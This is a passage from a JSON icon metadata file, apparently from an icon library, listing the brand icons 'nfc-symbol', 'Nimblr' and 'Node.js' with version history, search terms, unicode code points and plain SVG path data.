        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M211.8 488.6C213.4 491.1 213.9 494.2 213.2 497.1C212.6 500 210.8 502.6 208.3 504.2C205.7 505.8 202.7 506.3 199.7 505.7C138.3 491.8 84.1 455.8 47.53 404.5C10.97 353.2-5.395 290.3 1.57 227.7C8.536 165 38.34 107.2 85.29 65.21C132.2 23.2 193-.0131 256 0C257.5 0 258.1 .2931 260.3 .8627C261.7 1.432 262.1 2.267 264 3.319C265.1 4.371 265.9 5.619 266.5 6.993C267 8.367 267.3 9.839 267.3 11.32V112.3L291.8 86.39C292.8 85.31 294 84.44 295.4 83.84C296.7 83.23 298.2 82.9 299.7 82.86C301.2 82.81 302.6 83.06 304 83.59C305.4 84.12 306.7 84.92 307.8 85.94C308.8 86.96 309.7 88.18 310.3 89.54C310.9 90.89 311.3 92.35 311.3 93.84C311.3 95.32 311.1 96.8 310.6 98.18C310 99.57 309.2 100.8 308.2 101.9L264.2 148.5C263.1 149.6 261.9 150.5 260.5 151.1C259 151.7 257.5 152 255.1 152C254.5 152 252.9 151.7 251.5 151.1C250.1 150.5 248.8 149.6 247.8 148.5L203.7 101.9C201.7 99.74 200.6 96.83 200.7 93.84C200.7 90.84 202 87.1 204.2 85.94C206.4 83.88 209.3 82.77 212.3 82.86C215.3 82.94 218.1 84.21 220.2 86.39L244.7 112.4V22.89C188.3 25.64 134.9 48.73 94.23 87.87C53.58 127 28.49 179.6 23.61 235.8C18.73 292 34.38 348.1 67.68 393.7C100.1 439.2 149.7 471.2 204.7 483.6C207.6 484.3 210.2 486.1 211.8 488.6L211.8 488.6zM171.4 126.1C170.6 127.4 169.5 128.5 168.3 129.3C147.8 143.2 131.1 161.9 119.5 183.8C107.9 205.7 101.8 230.1 101.8 254.9C101.8 279.7 107.9 304.1 119.5 325.1C131.1 347.9 147.8 366.6 168.3 380.5C170.8 382.2 172.5 384.8 173 387.8C173.6 390.7 172.1 393.8 171.3 396.2C169.6 398.7 166.1 400.4 164 400.1C161.1 401.5 158 400.9 155.6 399.2C132 383.2 112.8 361.7 99.46 336.5C86.15 311.4 79.19 283.4 79.19 254.9C79.19 226.5 86.15 198.4 99.46 173.3C112.8 148.1 132 126.6 155.6 110.6C156.8 109.8 158.2 109.2 159.6 108.8C161.1 108.5 162.6 108.5 164.1 108.8C165.5 109 166.9 109.6 168.2 110.4C169.5 111.2 170.5 112.3 171.4 113.5C172.2 114.7 172.8 116.1 173.1 117.6C173.4 119.1 173.4 120.6 173.1 122C172.8 123.5 172.3 124.9 171.4 126.1H171.4zM340.9 383.5C341.7 382.3 342.8 381.2 343.1 380.4V380.3C364.4 366.3 381.1 347.6 392.7 325.7C404.2 303.9 410.2 279.5 410.2 254.8C410.2 230.1 404.2 205.7 392.7 183.8C381.1 161.1 364.4 143.3 343.1 129.3C342.8 128.5 341.7 127.4 340.9 126.2C340.1 124.9 339.5 123.5 339.3 122.1C338.1 120.6 339 119.1 339.3 117.7C339.6 116.2 340.2 114.8 341 113.6C341.9 112.4 342.1 111.3 344.2 110.5C345.4 109.7 346.8 109.2 348.3 108.9C349.8 108.6 351.2 108.6 352.7 108.9C354.2 109.2 355.5 109.8 356.8 110.7C380.2 126.7 399.5 148.2 412.7 173.3C426 198.4 432.1 226.4 432.1 254.8C432.1 283.3 426 311.3 412.7 336.4C399.5 361.5 380.2 383 356.8 399C355.5 399.9 354.2 400.5 352.7 400.8C351.2 401.1 349.8 401.1 348.3 400.8C346.8 400.5 345.4 399.1 344.2 399.2C342.1 398.4 341.9 397.3 341 396.1C340.2 394.9 339.6 393.5 339.3 392C339 390.6 338.1 389.1 339.3 387.6C339.5 386.2 340.1 384.8 340.9 383.5V383.5zM312.3 6.307C368.5 19.04 418.7 50.28 455 95.01C485.4 132.6 504.6 178 510.3 226C515.9 274 507.9 322.7 487.1 366.3C466.2 409.9 433.5 446.8 392.6 472.6C351.7 498.3 304.4 512 256 512C254.5 512 253.1 511.7 251.7 511.1C250.3 510.6 249.1 509.7 248 508.7C246.1 507.6 246.1 506.4 245.6 505C245 503.6 244.7 502.2 244.7 500.7V401.5L220.2 427.5C218.1 429.7 215.3 430.1 212.3 431.1C209.3 431.2 206.4 430 204.2 427.1C202 425.9 200.7 423.1 200.7 420.1C200.6 417.1 201.7 414.2 203.7 412L247.8 365.4C249.1 363.2 252.9 362 255.1 362C259.1 362 262 363.2 264.2 365.4L308.2 412C310.3 414.2 311.4 417.1 311.3 420.1C311.2 423.1 309.9 425.9 307.8 427.1C305.6 430 302.7 431.2 299.7 431.1C296.7 430.1 293.8 429.7 291.8 427.5L267.3 401.6V489.1C323.7 486.3 377.1 463.3 417.8 424.1C458.5 384.1 483.6 332.4 488.5 276.2C493.3 219.1 477.7 163.9 444.4 118.3C411.1 72.75 362.4 40.79 307.4 28.36C305.9 28.03 304.6 27.42 303.3 26.57C302.1 25.71 301.1 24.63 300.3 23.37C299.5 22.12 298.1 20.72 298.7 19.26C298.5 17.8 298.5 16.3 298.8 14.85C299.2 13.41 299.8 12.04 300.6 10.82C301.5 9.61 302.6 8.577 303.8 7.784C305.1 6.99 306.5 6.451 307.9 6.198C309.4 5.945 310.9 5.982 312.3 6.307L312.3 6.307zM353.1 256.1C353.1 287.5 335.6 317.2 303.8 339.6C301.7 341.1 299 341.9 296.4 341.6C293.7 341.4 291.2 340.3 289.4 338.4L219.3 268.6C217.1 266.5 215.1 263.6 215.9 260.6C215.9 257.6 217.1 254.7 219.2 252.6C221.4 250.5 224.2 249.3 227.2 249.3C230.2 249.3 233.1 250.5 235.2 252.6L298.3 315.4C319.1 298.3 330.5 277.5 330.5 256.1C330.5 232.2 316.4 209.1 290.8 191C288.3 189.3 286.7 186.7 286.2 183.7C285.7 180.8 286.3 177.7 288.1 175.3C289.8 172.8 292.4 171.2 295.4 170.7C298.3 170.2 301.4 170.8 303.8 172.6C335.6 195 353.1 224.7 353.1 256.1V256.1zM216.7 341.5C213.7 342 210.7 341.3 208.2 339.6C176.5 317.2 158.1 287.5 158.1 256.1C158.1 224.7 176.5 195 208.2 172.6C210.4 171 213.1 170.3 215.7 170.5C218.4 170.8 220.8 171.9 222.7 173.8L292.8 243.6C294.9 245.7 296.1 248.6 296.1 251.6C296.1 254.6 294.1 257.4 292.8 259.6C290.7 261.7 287.8 262.9 284.9 262.9C281.9 262.9 278.1 261.7 276.9 259.6L213.8 196.7C192.9 214 181.6 234.7 181.6 256.1C181.6 279.1 195.7 303.1 221.3 321.1C223.7 322.9 225.4 325.5 225.9 328.5C226.4 331.4 225.7 334.4 224 336.9C222.3 339.3 219.6 341 216.7 341.5L216.7 341.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M211.8 488.6C213.4 491.1 213.9 494.2 213.2 497.1C212.6 500 210.8 502.6 208.3 504.2C205.7 505.8 202.7 506.3 199.7 505.7C138.3 491.8 84.1 455.8 47.53 404.5C10.97 353.2-5.395 290.3 1.57 227.7C8.536 165 38.34 107.2 85.29 65.21C132.2 23.2 193-.0131 256 0C257.5 0 258.1 .2931 260.3 .8627C261.7 1.432 262.1 2.267 264 3.319C265.1 4.371 265.9 5.619 266.5 6.993C267 8.367 267.3 9.839 267.3 11.32V112.3L291.8 86.39C292.8 85.31 294 84.44 295.4 83.84C296.7 83.23 298.2 82.9 299.7 82.86C301.2 82.81 302.6 83.06 304 83.59C305.4 84.12 306.7 84.92 307.8 85.94C308.8 86.96 309.7 88.18 310.3 89.54C310.9 90.89 311.3 92.35 311.3 93.84C311.3 95.32 311.1 96.8 310.6 98.18C310 99.57 309.2 100.8 308.2 101.9L264.2 148.5C263.1 149.6 261.9 150.5 260.5 151.1C259 151.7 257.5 152 255.1 152C254.5 152 252.9 151.7 251.5 151.1C250.1 150.5 248.8 149.6 247.8 148.5L203.7 101.9C201.7 99.74 200.6 96.83 200.7 93.84C200.7 90.84 202 87.1 204.2 85.94C206.4 83.88 209.3 82.77 212.3 82.86C215.3 82.94 218.1 84.21 220.2 86.39L244.7 112.4V22.89C188.3 25.64 134.9 48.73 94.23 87.87C53.58 127 28.49 179.6 23.61 235.8C18.73 292 34.38 348.1 67.68 393.7C100.1 439.2 149.7 471.2 204.7 483.6C207.6 484.3 210.2 486.1 211.8 488.6L211.8 488.6zM171.4 126.1C170.6 127.4 169.5 128.5 168.3 129.3C147.8 143.2 131.1 161.9 119.5 183.8C107.9 205.7 101.8 230.1 101.8 254.9C101.8 279.7 107.9 304.1 119.5 325.1C131.1 347.9 147.8 366.6 168.3 380.5C170.8 382.2 172.5 384.8 173 387.8C173.6 390.7 172.1 393.8 171.3 396.2C169.6 398.7 166.1 400.4 164 400.1C161.1 401.5 158 400.9 155.6 399.2C132 383.2 112.8 361.7 99.46 336.5C86.15 311.4 79.19 283.4 79.19 254.9C79.19 226.5 86.15 198.4 99.46 173.3C112.8 148.1 132 126.6 155.6 110.6C156.8 109.8 158.2 109.2 159.6 108.8C161.1 108.5 162.6 108.5 164.1 108.8C165.5 109 166.9 109.6 168.2 110.4C169.5 111.2 170.5 112.3 171.4 113.5C172.2 114.7 172.8 116.1 173.1 117.6C173.4 119.1 173.4 120.6 173.1 122C172.8 123.5 172.3 124.9 171.4 126.1H171.4zM340.9 383.5C341.7 382.3 342.8 381.2 343.1 380.4V380.3C364.4 366.3 381.1 347.6 392.7 325.7C404.2 303.9 410.2 279.5 410.2 254.8C410.2 230.1 404.2 205.7 392.7 183.8C381.1 161.1 364.4 143.3 343.1 129.3C342.8 128.5 341.7 127.4 340.9 126.2C340.1 124.9 339.5 123.5 339.3 122.1C338.1 120.6 339 119.1 339.3 117.7C339.6 116.2 340.2 114.8 341 113.6C341.9 112.4 342.1 111.3 344.2 110.5C345.4 109.7 346.8 109.2 348.3 108.9C349.8 108.6 351.2 108.6 352.7 108.9C354.2 109.2 355.5 109.8 356.8 110.7C380.2 126.7 399.5 148.2 412.7 173.3C426 198.4 432.1 226.4 432.1 254.8C432.1 283.3 426 311.3 412.7 336.4C399.5 361.5 380.2 383 356.8 399C355.5 399.9 354.2 400.5 352.7 400.8C351.2 401.1 349.8 401.1 348.3 400.8C346.8 400.5 345.4 399.1 344.2 399.2C342.1 398.4 341.9 397.3 341 396.1C340.2 394.9 339.6 393.5 339.3 392C339 390.6 338.1 389.1 339.3 387.6C339.5 386.2 340.1 384.8 340.9 383.5V383.5zM312.3 6.307C368.5 19.04 418.7 50.28 455 95.01C485.4 132.6 504.6 178 510.3 226C515.9 274 507.9 322.7 487.1 366.3C466.2 409.9 433.5 446.8 392.6 472.6C351.7 498.3 304.4 512 256 512C254.5 512 253.1 511.7 251.7 511.1C250.3 510.6 249.1 509.7 248 508.7C246.1 507.6 246.1 506.4 245.6 505C245 503.6 244.7 502.2 244.7 500.7V401.5L220.2 427.5C218.1 429.7 215.3 430.1 212.3 431.1C209.3 431.2 206.4 430 204.2 427.1C202 425.9 200.7 423.1 200.7 420.1C200.6 417.1 201.7 414.2 203.7 412L247.8 365.4C249.1 363.2 252.9 362 255.1 362C259.1 362 262 363.2 264.2 365.4L308.2 412C310.3 414.2 311.4 417.1 311.3 420.1C311.2 423.1 309.9 425.9 307.8 427.1C305.6 430 302.7 431.2 299.7 431.1C296.7 430.1 293.8 429.7 291.8 427.5L267.3 401.6V489.1C323.7 486.3 377.1 463.3 417.8 424.1C458.5 384.1 483.6 332.4 488.5 276.2C493.3 219.1 477.7 163.9 444.4 118.3C411.1 72.75 362.4 40.79 307.4 28.36C305.9 28.03 304.6 27.42 303.3 26.57C302.1 25.71 301.1 24.63 300.3 23.37C299.5 22.12 298.1 20.72 298.7 19.26C298.5 17.8 298.5 16.3 298.8 14.85C299.2 13.41 299.8 12.04 300.6 10.82C301.5 9.61 302.6 8.577 303.8 7.784C305.1 6.99 306.5 6.451 307.9 6.198C309.4 5.945 310.9 5.982 312.3 6.307L312.3 6.307zM353.1 256.1C353.1 287.5 335.6 317.2 303.8 339.6C301.7 341.1 299 341.9 296.4 341.6C293.7 341.4 291.2 340.3 289.4 338.4L219.3 268.6C217.1 266.5 215.1 263.6 215.9 260.6C215.9 257.6 217.1 254.7 219.2 252.6C221.4 250.5 224.2 249.3 227.2 249.3C230.2 249.3 233.1 250.5 235.2 252.6L298.3 315.4C319.1 298.3 330.5 277.5 330.5 256.1C330.5 232.2 316.4 209.1 290.8 191C288.3 189.3 286.7 186.7 286.2 183.7C285.7 180.8 286.3 177.7 288.1 175.3C289.8 172.8 292.4 171.2 295.4 170.7C298.3 170.2 301.4 170.8 303.8 172.6C335.6 195 353.1 224.7 353.1 256.1V256.1zM216.7 341.5C213.7 342 210.7 341.3 208.2 339.6C176.5 317.2 158.1 287.5 158.1 256.1C158.1 224.7 176.5 195 208.2 172.6C210.4 171 213.1 170.3 215.7 170.5C218.4 170.8 220.8 171.9 222.7 173.8L292.8 243.6C294.9 245.7 296.1 248.6 296.1 251.6C296.1 254.6 294.1 257.4 292.8 259.6C290.7 261.7 287.8 262.9 284.9 262.9C281.9 262.9 278.1 261.7 276.9 259.6L213.8 196.7C192.9 214 181.6 234.7 181.6 256.1C181.6 279.1 195.7 303.1 221.3 321.1C223.7 322.9 225.4 325.5 225.9 328.5C226.4 331.4 225.7 334.4 224 336.9C222.3 339.3 219.6 341 216.7 341.5L216.7 341.5z"
      }
    },
    "free": ["brands"]
  },
  "nfc-symbol": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "connect",
        "data",
        "near field communication",
        "nfc",
        "scan",
        "signal",
        "transfer",
        "wireless"
      ]
    },
    "styles": ["brands"],
    "unicode": "e531",
    "label": "Nfc Symbol",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M392.9 32.43C400.6 31.1 408.6 32.89 414.1 37.41C498.2 96.14 544 173.7 544 255.1C544 338.2 498.2 415.9 414.1 474.6C409.3 478.6 402.4 480.5 395.5 479.9C388.5 479.3 382 476.3 377.1 471.4L193.7 288.7C188.1 283.2 185 275.7 184.1 267.8C184.1 260 188.1 252.5 193.6 246.9C199.2 241.4 206.7 238.2 214.5 238.2C222.4 238.2 229.9 241.3 235.4 246.8L400.5 411.2C455.1 366.5 484.8 312 484.8 255.1C484.8 193.5 447.9 132.9 380.9 85.76C374.5 81.24 370.1 74.35 368.8 66.62C367.4 58.89 369.2 50.94 373.8 44.53C378.3 38.12 385.2 33.77 392.9 32.43V32.43zM186.9 479.6C179.2 480.9 171.3 479.1 164.8 474.6C81.67 415.9 35.84 338.2 35.84 255.1C35.84 173.7 81.67 96.14 164.8 37.41C170.5 33.4 177.4 31.53 184.4 32.12C191.3 32.71 197.8 35.72 202.7 40.63L386.1 223.3C391.7 228.8 394.8 236.3 394.8 244.2C394.9 251.1 391.8 259.5 386.2 265.1C380.7 270.6 373.2 273.8 365.3 273.8C357.5 273.8 349.1 270.7 344.4 265.2L179.3 100.7C124.7 145.9 95.03 199.9 95.03 255.1C95.03 318.5 131.9 379.1 198.1 426.2C205.4 430.8 209.7 437.6 211.1 445.4C212.4 453.1 210.6 461.1 206.1 467.5C201.6 473.9 194.7 478.2 186.9 479.6V479.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M392.9 32.43C400.6 31.1 408.6 32.89 414.1 37.41C498.2 96.14 544 173.7 544 255.1C544 338.2 498.2 415.9 414.1 474.6C409.3 478.6 402.4 480.5 395.5 479.9C388.5 479.3 382 476.3 377.1 471.4L193.7 288.7C188.1 283.2 185 275.7 184.1 267.8C184.1 260 188.1 252.5 193.6 246.9C199.2 241.4 206.7 238.2 214.5 238.2C222.4 238.2 229.9 241.3 235.4 246.8L400.5 411.2C455.1 366.5 484.8 312 484.8 255.1C484.8 193.5 447.9 132.9 380.9 85.76C374.5 81.24 370.1 74.35 368.8 66.62C367.4 58.89 369.2 50.94 373.8 44.53C378.3 38.12 385.2 33.77 392.9 32.43V32.43zM186.9 479.6C179.2 480.9 171.3 479.1 164.8 474.6C81.67 415.9 35.84 338.2 35.84 255.1C35.84 173.7 81.67 96.14 164.8 37.41C170.5 33.4 177.4 31.53 184.4 32.12C191.3 32.71 197.8 35.72 202.7 40.63L386.1 223.3C391.7 228.8 394.8 236.3 394.8 244.2C394.9 251.1 391.8 259.5 386.2 265.1C380.7 270.6 373.2 273.8 365.3 273.8C357.5 273.8 349.1 270.7 344.4 265.2L179.3 100.7C124.7 145.9 95.03 199.9 95.03 255.1C95.03 318.5 131.9 379.1 198.1 426.2C205.4 430.8 209.7 437.6 211.1 445.4C212.4 453.1 210.6 461.1 206.1 467.5C201.6 473.9 194.7 478.2 186.9 479.6V479.6z"
      }
    },
    "free": ["brands"]
  },
  "nimblr": {
    "changes": ["5.1.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5a8",
    "label": "Nimblr",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z"
      }
    },
    "free": ["brands"]
  },
  "node": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f419",
    "label": "Node.js",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 